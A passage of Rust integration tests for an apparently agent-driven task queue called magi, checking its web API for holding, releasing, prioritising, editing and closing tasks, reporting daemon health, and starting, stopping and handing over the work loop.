10469        let v = earlier_pass_view(|s| {
10470            s.quota.push(crate::run::QuotaLoss {
10471                seat: "judge-1".to_owned(),
10472                node: "judge".to_owned(),
10473                at: Timestamp::now(),
10474                reset: None,
10475            });
10476        });
10477        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10478        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10479        assert_eq!(v.attempt, AttemptCost::Unknown);
10480    }
10481
10482    #[test]
10483    fn the_current_pass_states_its_recorded_cause_and_cost() {
10484        let slot = || RunSlot {
10485            n: 1,
10486            resumed: false,
10487            resumed_later: None,
10488            prior: None,
10489            last: true,
10490        };
10491        let task = flow_task(&["20260902-140501-aaaa"]);
10492        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10493        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10494        assert_eq!(
10495            (v.exit, v.attempt),
10496            (RunExit::Parked, AttemptCost::Refunded)
10497        );
10498        let spent = flow_run(RunStatus::Blocked, |_| {});
10499        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10500        assert_eq!(v.attempt, AttemptCost::Spent);
10501        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10502    }
10503
10504    #[tokio::test]
10505    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10506        let f = Fixture::start().await;
10507        let queue = f.queue();
10508        let mut task = Task::new(
10509            "spent".to_owned(),
10510            "Try again".to_owned(),
10511            PathBuf::from("/repo/magi"),
10512            Source::Human,
10513        );
10514        task.start("20260902-140502-bbbb".to_owned());
10515        task.fail("agent gave up", 9);
10516        queue.put(&mut task).expect("file the task");
10517
10518        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10519        assert_eq!(held.status, 200);
10520        assert_eq!(held.json()["status_str"], "held");
10521
10522        let released = f
10523            .post(&format!("/api/queue/{}/release", task.id), None)
10524            .await;
10525        assert_eq!(released.status, 200);
10526        assert_eq!(released.json()["status_str"], "queued");
10527        assert_eq!(
10528            released.json()["attempts"],
10529            0,
10530            "release is a real second chance, not an instant re-hold"
10531        );
10532        assert_eq!(
10533            queue.get(&task.id).expect("reload").status,
10534            TaskStatus::Queued,
10535            "the change is on disk, not only in the reply"
10536        );
10537        assert!(
10538            !f.home
10539                .path()
10540                .join("queue")
10541                .join(format!("{}.lock", task.id))
10542                .exists(),
10543            "the claim the mutation took is released again"
10544        );
10545    }
10546
10547    #[tokio::test]
10548    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10549        let f = Fixture::start().await;
10550        let queue = f.queue();
10551        let mut task = Task::new(
10552            "busy".to_owned(),
10553            "Running right now".to_owned(),
10554            PathBuf::from("/repo/magi"),
10555            Source::Human,
10556        );
10557        queue.put(&mut task).expect("file the task");
10558        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10559
10560        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10561
10562        assert_eq!(res.status, 409);
10563        assert_eq!(
10564            queue.get(&task.id).expect("reload").status,
10565            TaskStatus::Queued,
10566            "the refused hold changed nothing"
10567        );
10568    }
10569
10570    #[tokio::test]
10571    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10572        let f = Fixture::start().await;
10573        let queue = f.queue();
10574        let mut task = Task::new(
10575            "waiting on the migration".to_owned(),
10576            "Do the thing".to_owned(),
10577            PathBuf::from("/repo/magi"),
10578            Source::Human,
10579        );
10580        queue.put(&mut task).expect("file the task");
10581
10582        let held = f
10583            .post(
10584                &format!("/api/queue/{}/hold", task.id),
10585                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10586            )
10587            .await;
10588        assert_eq!(held.status, 200, "{}", held.body);
10589        assert_eq!(held.json()["status_str"], "held");
10590        assert_eq!(
10591            held.json()["hold_reason"],
10592            "waiting for 20260101-000000-aaaa to land"
10593        );
10594
10595        let listed = f.get("/api/queue").await.json();
10596        assert_eq!(
10597            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10598            "the card reads the reason off the same list route"
10599        );
10600
10601        // A hold with no body at all must keep working - most holds have no
10602        // reason to give.
10603        let mut plain = Task::new(
10604            "no reason given".to_owned(),
10605            "Do another thing".to_owned(),
10606            PathBuf::from("/repo/magi"),
10607            Source::Human,
10608        );
10609        queue.put(&mut plain).expect("file the task");
10610        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10611        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10612        assert!(held_plain.json()["hold_reason"].is_null());
10613
10614        let released = f
10615            .post(&format!("/api/queue/{}/release", task.id), None)
10616            .await;
10617        assert_eq!(released.status, 200);
10618        assert!(
10619            released.json()["hold_reason"].is_null(),
10620            "a release must clear the reason so the next hold does not inherit it"
10621        );
10622    }
10623
10624    #[tokio::test]
10625    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10626        let f = Fixture::start().await;
10627        let queue = f.queue();
10628        let mut older = Task::new(
10629            "filed first".to_owned(),
10630            "x".to_owned(),
10631            PathBuf::from("/repo/magi"),
10632            Source::Human,
10633        );
10634        older.id = "20260101-000001-aaaa".to_owned();
10635        let mut newer = Task::new(
10636            "filed second".to_owned(),
10637            "x".to_owned(),
10638            PathBuf::from("/repo/magi"),
10639            Source::Human,
10640        );
10641        newer.id = "20260101-000002-bbbb".to_owned();
10642        queue.put(&mut older).expect("file older");
10643        queue.put(&mut newer).expect("file newer");
10644
10645        // Equal priority: the newer task leads, the same order the old
10646        // newest-first `list()` already gave every equal-priority queue.
10647        let before = f.get("/api/queue").await.json();
10648        assert_eq!(before[0]["id"], newer.id);
10649        assert_eq!(before[1]["id"], older.id);
10650
10651        // Raising the *older* task is the meaningful case: it can only lead
10652        // now because its priority says so, not because it happens to be
10653        // newest.
10654        let raised = f
10655            .post(
10656                &format!("/api/queue/{}/priority", older.id),
10657                Some(r#"{"priority":10}"#),
10658            )
10659            .await;
10660        assert_eq!(raised.status, 200, "{}", raised.body);
10661        assert_eq!(raised.json()["priority"], 10);
10662
10663        let after = f.get("/api/queue").await.json();
10664        let names: Vec<&str> = after
10665            .as_array()
10666            .unwrap()
10667            .iter()
10668            .map(|t| t["id"].as_str().unwrap())
10669            .collect();
10670        // Highest priority first, which is the order next_runnable and
10671        // `magi task list` both use - GET /api/queue must agree with it
10672        // immediately, not just once the loop claims the task.
10673        assert_eq!(names[0], older.id, "the raised task now sorts first");
10674    }
10675
10676    #[tokio::test]
10677    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10678        let f = Fixture::start().await;
10679        let queue = f.queue();
10680        let mut task = Task::new(
10681            "in flight".to_owned(),
10682            "x".to_owned(),
10683            PathBuf::from("/repo/magi"),
10684            Source::Human,
10685        );
10686        task.start("20260902-140502-bbbb".to_owned());
10687        queue.put(&mut task).expect("file the task");
10688
10689        let res = f
10690            .post(
10691                &format!("/api/queue/{}/priority", task.id),
10692                Some(r#"{"priority":9}"#),
10693            )
10694            .await;
10695        assert_eq!(res.status, 400, "{}", res.body);
10696        assert!(
10697            res.json()["error"]
10698                .as_str()
10699                .is_some_and(|e| e.contains("running")),
10700            "{}",
10701            res.body
10702        );
10703        assert_eq!(
10704            queue.get(&task.id).expect("reload").priority,
10705            0,
10706            "the refused write must not partially apply"
10707        );
10708    }
10709
10710    #[tokio::test]
10711    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10712        let f = Fixture::start().await;
10713        let queue = f.queue();
10714        let mut task = Task::new(
10715            "old title".to_owned(),
10716            "old instruction".to_owned(),
10717            PathBuf::from("/repo/magi"),
10718            Source::Agent {
10719                run: "20260101-000000-beef".to_owned(),
10720                node: "implement".to_owned(),
10721            },
10722        );
10723        task.runs.push("20260101-000000-beef".to_owned());
10724        queue.put(&mut task).expect("file the task");
10725        let created_at = task.created_at;
10726
10727        let edited = f
10728            .post(
10729                &format!("/api/queue/{}/edit", task.id),
10730                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10731            )
10732            .await;
10733        assert_eq!(edited.status, 200, "{}", edited.body);
10734        let body = edited.json();
10735        assert_eq!(body["title"], "new title");
10736        assert_eq!(body["instruction"], "new instruction");
10737        assert_eq!(body["id"], task.id, "editing must not mint a new id");
10738        assert_eq!(body["created_at"], created_at.to_string());
10739        assert_eq!(
10740            body["source"]["kind"], "agent",
10741            "editing a task an agent filed must not turn it human: {body}"
10742        );
10743        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10744
10745        let reloaded = queue.get(&task.id).expect("reload");
10746        assert_eq!(reloaded.title, "new title");
10747        assert_eq!(reloaded.instruction, "new instruction");
10748    }
10749
10750    #[tokio::test]
10751    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10752        // The judge is an agent now: a repo whose only agent answers
10753        // "duplicate" stands in for it, so the refusal is the judge's.
10754        let tmp = TempDir::new().expect("tempdir");
10755        let repo = tmp.path().join("repo");
10756        std::fs::create_dir_all(&repo).expect("repo dir");
10757        let judge = MOCK_AGENT_TOML.replace(
10758            "printf ok",
10759            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10760        );
10761        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10762        let f = Fixture::with_repo(repo.clone()).await;
10763        let queue = f.queue();
10764        let mut owner = Task::new(
10765            "owner".to_owned(),
10766            "review it".to_owned(),
10767            repo.clone(),
10768            Source::Human,
10769        );
10770        owner.review_branch = Some("magi/ab12/A".to_owned());
10771        queue.put(&mut owner).expect("file the owner");
10772        let mut task = Task::new(
10773            "draft".to_owned(),
10774            "old".to_owned(),
10775            repo.clone(),
10776            Source::Human,
10777        );
10778        queue.put(&mut task).expect("file the draft");
10779        let url = format!("/api/queue/{}/edit", task.id);
10780
10781        let refused = f
10782            .post(
10783                &url,
10784                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10785            )
10786            .await;
10787        assert_eq!(refused.status, 409, "{}", refused.body);
10788        let msg = refused.json()["error"]
10789            .as_str()
10790            .unwrap_or_default()
10791            .to_owned();
10792        assert!(
10793            msg.contains("magi/ab12/A") && msg.contains("force"),
10794            "{msg}"
10795        );
10796        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10797
10798        let forced = f
10799            .post(
10800                &url,
10801                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10802            )
10803            .await;
10804        assert_eq!(forced.status, 200, "{}", forced.body);
10805    }
10806
10807    #[tokio::test]
10808    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10809        let f = Fixture::start().await;
10810        let queue = f.queue();
10811        let mut task = Task::new(
10812            "in flight".to_owned(),
10813            "do not touch".to_owned(),
10814            PathBuf::from("/repo/magi"),
10815            Source::Human,
10816        );
10817        task.start("20260902-140502-bbbb".to_owned());
10818        queue.put(&mut task).expect("file the task");
10819
10820        let res = f
10821            .post(
10822                &format!("/api/queue/{}/edit", task.id),
10823                Some(r#"{"title":"x","instruction":"y"}"#),
10824            )
10825            .await;
10826        assert_eq!(res.status, 400, "{}", res.body);
10827        assert!(
10828            res.json()["error"]
10829                .as_str()
10830                .is_some_and(|e| e.contains("running")),
10831            "{}",
10832            res.body
10833        );
10834        assert_eq!(
10835            queue.get(&task.id).expect("reload").instruction,
10836            "do not touch",
10837            "the refused edit must not change the file"
10838        );
10839    }
10840
10841    #[tokio::test]
10842    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10843        let f = Fixture::start().await;
10844        let queue = f.queue();
10845        let mut task = Task::new(
10846            "busy".to_owned(),
10847            "Running right now".to_owned(),
10848            PathBuf::from("/repo/magi"),
10849            Source::Human,
10850        );
10851        queue.put(&mut task).expect("file the task");
10852        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10853
10854        let priority = f
10855            .post(
10856                &format!("/api/queue/{}/priority", task.id),
10857                Some(r#"{"priority":9}"#),
10858            )
10859            .await;
10860        assert_eq!(priority.status, 409, "{}", priority.body);
10861
10862        let edit = f
10863            .post(
10864                &format!("/api/queue/{}/edit", task.id),
10865                Some(r#"{"title":"x","instruction":"y"}"#),
10866            )
10867            .await;
10868        assert_eq!(edit.status, 409, "{}", edit.body);
10869    }
10870
10871    #[tokio::test]
10872    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10873        let f = Fixture::start().await;
10874        let queue = f.queue();
10875        let mut task = Task::new(
10876            "shipped by hand".to_owned(),
10877            "merged outside the loop".to_owned(),
10878            PathBuf::from("/repo/magi"),
10879            Source::Agent {
10880                run: "20260101-000000-b455".to_owned(),
10881                node: "implement".to_owned(),
10882            },
10883        );
10884        task.runs.push("20260101-000000-b455".to_owned());
10885        task.runs.push("20260101-000000-9af4".to_owned());
10886        queue.put(&mut task).expect("file the task");
10887        let created_at = task.created_at;
10888
10889        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10890        assert_eq!(done.status, 200, "{}", done.body);
10891        assert_eq!(done.json()["status_str"], "done");
10892
10893        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10894        assert_eq!(
10895            reloaded.runs,
10896            ["20260101-000000-b455", "20260101-000000-9af4"]
10897        );
10898        assert_eq!(
10899            reloaded.source,
10900            Source::Agent {
10901                run: "20260101-000000-b455".to_owned(),
10902                node: "implement".to_owned(),
10903            }
10904        );
10905        assert_eq!(reloaded.created_at, created_at);
10906    }
10907
10908    #[tokio::test]
10909    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10910        // `done` is allowed on any status, including `held`, with no release
10911        // in between - so a task held for a reason and then closed directly
10912        // must not keep reading as "waiting on" it afterwards, on its card or
10913        // in `magi task show`.
10914        let f = Fixture::start().await;
10915        let queue = f.queue();
10916        let mut task = Task::new(
10917            "landed while held".to_owned(),
10918            "x".to_owned(),
10919            PathBuf::from("/repo/magi"),
10920            Source::Human,
10921        );
10922        task.hold_manual(Some("waiting on 3ed9".to_owned()));
10923        queue.put(&mut task).expect("file the held task");
10924
10925        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10926        assert_eq!(done.status, 200, "{}", done.body);
10927        assert_eq!(done.json()["status_str"], "done");
10928        assert!(
10929            done.json()["hold_reason"].is_null(),
10930            "a done task cannot still be waiting on something: {}",
10931            done.body
10932        );
10933    }
10934
10935    #[tokio::test]
10936    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10937        // `queue_done` is the phone's way to close a task the loop never
10938        // settled itself - after confirming a manual GitHub merge, say - and
10939        // that is just as much "this task's story is over" as the loop's own
10940        // `Merged`/`Ready` path, so it must trigger the same cleanup.
10941        let f = Fixture::start().await;
10942        let queue = f.queue();
10943        let runs = f.runs();
10944        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10945        // The last attempt has to have actually landed for the earlier one
10946        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
10947        // for the case where it didn't.
10948        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10949
10950        let mut task = Task::new(
10951            "landed by hand".to_owned(),
10952            "x".to_owned(),
10953            PathBuf::from("/repo/magi"),
10954            Source::Human,
10955        );
10956        task.runs.push("20260101-000000-doa1".to_owned());
10957        task.runs.push("20260101-000000-doa2".to_owned());
10958        queue.put(&mut task).expect("file the task");
10959
10960        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10961        assert_eq!(done.status, 200, "{}", done.body);
10962
10963        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10964            .expect("run still on disk under this fixture's own home");
10965        assert_eq!(
10966            reloaded_run.status,
10967            RunStatus::Superseded,
10968            "closing the task by hand must relabel the earlier blocked attempt exactly \
10969             like the loop's own settle path does"
10970        );
10971    }
10972
10973    #[tokio::test]
10974    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10975        // Closing a task by hand is allowed from any status, including one
10976        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
10977        // manual merge the loop never watched, say. Nothing here is provably
10978        // why the task is done, so nothing earlier gets relabelled either.
10979        let f = Fixture::start().await;
10980        let queue = f.queue();
10981        let runs = f.runs();
10982        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10983        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10984
10985        let mut task = Task::new(
10986            "closed with nothing actually landed".to_owned(),
10987            "x".to_owned(),
10988            PathBuf::from("/repo/magi"),
10989            Source::Human,
10990        );
10991        task.runs.push("20260101-000000-dob1".to_owned());
10992        task.runs.push("20260101-000000-dob2".to_owned());
10993        queue.put(&mut task).expect("file the task");
10994
10995        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10996        assert_eq!(done.status, 200, "{}", done.body);
10997
10998        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10999            .expect("run still on disk under this fixture's own home");
11000        assert_eq!(
11001            reloaded_run.status,
11002            RunStatus::Blocked,
11003            "the last recorded attempt never landed, so the earlier one must not be \
11004             relabelled as superseded by it"
11005        );
11006    }
11007
11008    #[tokio::test]
11009    async fn unknown_ids_are_json_not_found_on_both_stores() {
11010        let f = Fixture::start().await;
11011
11012        let run = f.get("/api/runs/nosuchrun").await;
11013        let task = f.post("/api/queue/nosuchtask/hold", None).await;
11014
11015        assert_eq!(run.status, 404);
11016        assert_eq!(task.status, 404);
11017        assert!(
11018            run.json()["error"]
11019                .as_str()
11020                .is_some_and(|e| e.contains("run")),
11021            "the error names what was not found: {}",
11022            run.body
11023        );
11024        assert!(
11025            task.json()["error"]
11026                .as_str()
11027                .is_some_and(|e| e.contains("task")),
11028            "the error names what was not found: {}",
11029            task.body
11030        );
11031    }
11032
11033    #[tokio::test]
11034    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11035        let f = Fixture::start().await;
11036
11037        let missing = f.get("/api/health").await.json();
11038        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11039
11040        write_daemon(
11041            f.home.path(),
11042            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11043        );
11044        let stale = f.get("/api/health").await.json();
11045        assert_eq!(
11046            stale["daemon"]["running"], false,
11047            "a minute without a heartbeat is a dead daemon, not a busy one"
11048        );
11049        assert!(
11050            stale["daemon"]["stale_for_secs"]
11051                .as_i64()
11052                .is_some_and(|s| s >= 55),
11053            "staleness is reported so the UI can say how long: {stale}"
11054        );
11055
11056        write_daemon(f.home.path(), Timestamp::now());
11057        let fresh = f.get("/api/health").await.json();
11058        assert_eq!(fresh["daemon"]["running"], true);
11059        assert_eq!(fresh["daemon"]["idle"], false);
11060        assert_eq!(fresh["daemon"]["pid"], 4242);
11061        assert_eq!(fresh["daemon"]["completed"], 7);
11062        assert_eq!(
11063            fresh["daemon"]["current"][0]["task"],
11064            "20260902-140501-aaaa"
11065        );
11066        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11067    }
11068
11069    #[tokio::test]
11070    async fn the_loop_is_not_running_until_something_starts_it() {
11071        let f = Fixture::start().await;
11072
11073        let view = f.get("/api/loop").await.json();
11074        assert_eq!(view["running"], false);
11075        assert_eq!(
11076            view["owned"], false,
11077            "nobody owns a loop that does not exist: {view}"
11078        );
11079        assert_eq!(view["stopping"], false);
11080        assert_eq!(view["last_error"], Value::Null);
11081        assert_eq!(view["daemon"]["running"], false);
11082        assert_eq!(
11083            view["repo"], "/repo/magi",
11084            "the repository a start would use, named before it is started"
11085        );
11086    }
11087
11088    #[tokio::test]
11089    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11090        let f = Fixture::start().await;
11091
11092        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11093        assert_eq!(res.status, 200, "{}", res.body);
11094        let view = res.json();
11095        assert_eq!(view["running"], true);
11096        assert_eq!(
11097            view["owned"], true,
11098            "the loop the UI started is the UI's own to stop: {view}"
11099        );
11100        assert_eq!(
11101            view["merge"],
11102            Value::Null,
11103            "no override was given, so each repository's own config decides"
11104        );
11105
11106        // The same object from the route a waking phone polls first. Two
11107        // surfaces disagreeing about whether anything is running is exactly
11108        // the confusion this UI exists to remove.
11109        let health = f.get("/api/health").await.json();
11110        assert_eq!(health["loop"]["running"], true, "{health}");
11111        assert_eq!(health["loop"]["owned"], true, "{health}");
11112
11113        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11114    }
11115
11116    #[tokio::test]
11117    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11118        let f = Fixture::start().await;
11119        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11120        assert_eq!(first.status, 200, "{}", first.body);
11121
11122        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11123        assert_eq!(
11124            again.status, 409,
11125            "two loops on one queue race for the same claims: {}",
11126            again.body
11127        );
11128        assert!(
11129            again.json()["error"]
11130                .as_str()
11131                .is_some_and(|e| e.contains("already running the loop")),
11132            "the refusal has to say why: {}",
11133            again.body
11134        );
11135        assert_eq!(
11136            f.get("/api/loop").await.json()["running"],
11137            true,
11138            "and the loop that was already running is untouched by it"
11139        );
11140
11141        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11142    }
11143
11144    #[tokio::test]
11145    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11146        let f = Fixture::start().await;
11147        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11148
11149        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11150        assert_eq!(
11151            res.status, 200,
11152            "the answer must not wait for the loop: a run in flight is tens of \
11153             minutes and the operator is holding a phone: {}",
11154            res.body
11155        );
11156
11157        let view = settled(&f, |v| v["running"] == false).await;
11158        assert_eq!(view["owned"], false);
11159        assert_eq!(
11160            view["stopping"], false,
11161            "a loop that has stopped is not still stopping: {view}"
11162        );
11163        assert_eq!(
11164            view["last_error"],
11165            Value::Null,
11166            "a loop that was asked to stop did not fail: {view}"
11167        );
11168
11169        // Idempotent, because the operator cannot tell a slow stop from a lost
11170        // one and will press it again.
11171        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11172        assert_eq!(twice.status, 200, "{}", twice.body);
11173    }
11174
11175    #[tokio::test]
11176    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11177        let f = Fixture::start().await;
11178        // How the operator has been doing it: a `magi serve` of their own,
11179        // heartbeat fresh, in the same home this UI reads.
11180        write_daemon(f.home.path(), Timestamp::now());
11181
11182        let view = f.get("/api/loop").await.json();
11183        assert_eq!(view["running"], false, "not in this process: {view}");
11184        assert_eq!(view["owned"], false, "and not this process's to control");
11185        assert_eq!(
11186            view["daemon"]["running"], true,
11187            "but a loop is alive somewhere, which is what the UI must say"
11188        );
11189        assert_eq!(view["daemon"]["pid"], 4242);
11190
11191        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11192            let res = f.post("/api/loop", Some(body)).await;
11193            assert_eq!(
11194                res.status, 409,
11195                "neither button may pretend to work on someone else's loop: {}",
11196                res.body
11197            );
11198            assert!(
11199                res.json()["error"]
11200                    .as_str()
11201                    .is_some_and(|e| e.contains("4242")),
11202                "the refusal has to name the process the operator must go to: {}",
11203                res.body
11204            );
11205        }
11206        assert_eq!(
11207            f.get("/api/loop").await.json()["running"],
11208            false,
11209            "and the refusal started nothing"
11210        );
11211    }
11212
11213    #[tokio::test]
11214    async fn a_stale_status_file_is_not_a_foreign_owner() {
11215        let f = Fixture::start().await;
11216        write_daemon(
11217            f.home.path(),
11218            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11219        );
11220
11221        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11222        assert_eq!(
11223            res.status, 200,
11224            "a daemon killed a minute ago must not lock the loop out of its \
11225             own home for good: {}",
11226            res.body
11227        );
11228        assert_eq!(res.json()["running"], true);
11229
11230        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11231    }
11232
11233    #[tokio::test]
11234    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11235        let f = Fixture::start().await;
11236        let before = f.get("/api/health").await.json()["loop_rev"]
11237            .as_u64()
11238            .expect("a loop revision");
11239
11240        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11241
11242        let after = f.get("/api/health").await.json()["loop_rev"]
11243            .as_u64()
11244            .expect("a loop revision");
11245        assert!(
11246            after > before,
11247            "the loop is in-process state, so this counter is the only thing \
11248             that tells a second device the first one started it: {before} -> \
11249             {after}"
11250        );
11251
11252        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11253    }
11254
11255    #[tokio::test]
11256    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11257        let f = Fixture::with_loop(launch_broken).await;
11258
11259        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11260        assert_eq!(
11261            res.status, 200,
11262            "starting it is not the failure: {}",
11263            res.body
11264        );
11265
11266        let view = settled(&f, |v| v["last_error"].is_string()).await;
11267        assert_eq!(
11268            view["running"], false,
11269            "a loop that died must not read as running, or the operator has \
11270             nothing to press: {view}"
11271        );
11272        assert_eq!(view["owned"], false);
11273        assert!(
11274            view["last_error"]
11275                .as_str()
11276                .is_some_and(|e| e.contains("read-only file system")),
11277            "the phone is where a loop that died at 3am is visible: {view}"
11278        );
11279
11280        // And it can be started again: the corpse was reaped, not left to
11281        // occupy the slot.
11282        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11283        assert_eq!(again.status, 200, "{}", again.body);
11284        assert!(
11285            again.json()["last_error"]
11286                .as_str()
11287                .is_none_or(|e| !e.contains("read-only file system")),
11288            "a fresh start does not keep showing why the last one died: {}",
11289            again.body
11290        );
11291    }
11292
11293    /// An upgrade parks the run in flight before it restarts, and a park waits
11294    /// for the node - up to `timeout_implement`, an hour by default. The deck
11295    /// has to answer for all of it: the operator has just been told a run is
11296    /// finishing first, and this address is the only place that says how it is
11297    /// going. It did not, once - the listener went with the `select!` arm that
11298    /// began the handover, and the phone got `Cannot reach magi: Failed to
11299    /// fetch` for the rest of the wave.
11300    ///
11301    /// The other half is the older rule: the address must be free *before* the
11302    /// successor is started, or it dies on "address already in use" with its
11303    /// stdio sent to null and the deck never comes back.
11304    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11305    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11306        let home = TempDir::new().expect("temp home");
11307        let runs = home.path().join("runs");
11308        std::fs::create_dir_all(&runs).expect("runs dir");
11309        let ui = Ui::new(
11310            Queue::at(home.path().join("queue")),
11311            Questions::at(home.path().join("questions")),
11312            Talks::at(home.path().join("talks")),
11313            runs,
11314            home.path().to_path_buf(),
11315            PathBuf::from("/repo/magi"),
11316        )
11317        .with_worktrees_root(home.path().join("wt"))
11318        .with_launch(launch_knocking_on_the_way_out);
11319        let looping = ui.looping();
11320        let turns = ui.turns();
11321        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11322            .await
11323            .expect("bind loopback");
11324        let addr = listener.local_addr().expect("local addr");
11325        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11326        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11327
11328        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11329        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11330
11331        // The successor's whole job, and the one thing it cannot do while this
11332        // process still holds the socket.
11333        //
11334        // One bind is not enough, and the reason is not this process's order of
11335        // operations: aborting the accept loop drops the listener, but axum
11336        // serves each accepted connection on a task of its own, and those are
11337        // not aborted. The requests above left sockets on this very address,
11338        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
11339        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
11340        // Production absorbs that in `bind_waiting`; so does this. Only
11341        // `AddrInUse` is retried, and the listener is released before the
11342        // closure returns - were the order wrong, the listener would outlive
11343        // the closure and every attempt would fail. Inferred from the bind
11344        // rules and the code; not reproduced on macOS.
11345        let bound = std::sync::Mutex::new(None);
11346        hand_over(
11347            home.path(),
11348            &looping,
11349            &turns,
11350            &|_: &[String]| Duration::from_secs(5),
11351            served,
11352            |_| {
11353                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11354                let attempt = loop {
11355                    match std::net::TcpListener::bind(addr) {
11356                        Ok(l) => {
11357                            drop(l);
11358                            break Ok(());
11359                        }
11360                        Err(e)
11361                            if e.kind() == std::io::ErrorKind::AddrInUse
11362                                && std::time::Instant::now() < deadline =>
11363                        {
11364                            std::thread::sleep(std::time::Duration::from_millis(10));
11365                        }
11366                        Err(e) => break Err(e.to_string()),
11367                    }
11368                };
11369                *bound.lock().expect("bound") = Some(attempt);
11370                Ok(1)
11371            },
11372        )
11373        .await
11374        .expect("hand over");
11375
11376        assert_eq!(
11377            *PARK_HEARD.lock().expect("park heard"),
11378            Some(200),
11379            "the deck must answer while the loop is parking"
11380        );
11381        let attempt = bound
11382            .lock()
11383            .expect("bound")
11384            .take()
11385            .expect("the successor was started");
11386        assert!(
11387            attempt.is_ok(),
11388            "and the address must be free by the time it is: {attempt:?}"
11389        );
11390    }
11391
11392    #[tokio::test]
11393    async fn a_newer_daemon_status_file_still_renders() {
11394        let f = Fixture::start().await;
11395        // A field this build has never heard of must not turn the status line
11396        // into a 500; that is the whole reason the reader is permissive.
11397        std::fs::write(
11398            f.home.path().join("daemon.json"),
11399            serde_json::json!({
11400                "schema": 2,
11401                "updated_at": Timestamp::now().to_string(),
11402                "idle": true,
11403                "surprise": { "nested": [1, 2, 3] },
11404            })
11405            .to_string(),
11406        )
11407        .expect("write daemon.json");
11408
11409        let health = f.get("/api/health").await;
11410
11411        assert_eq!(health.status, 200);
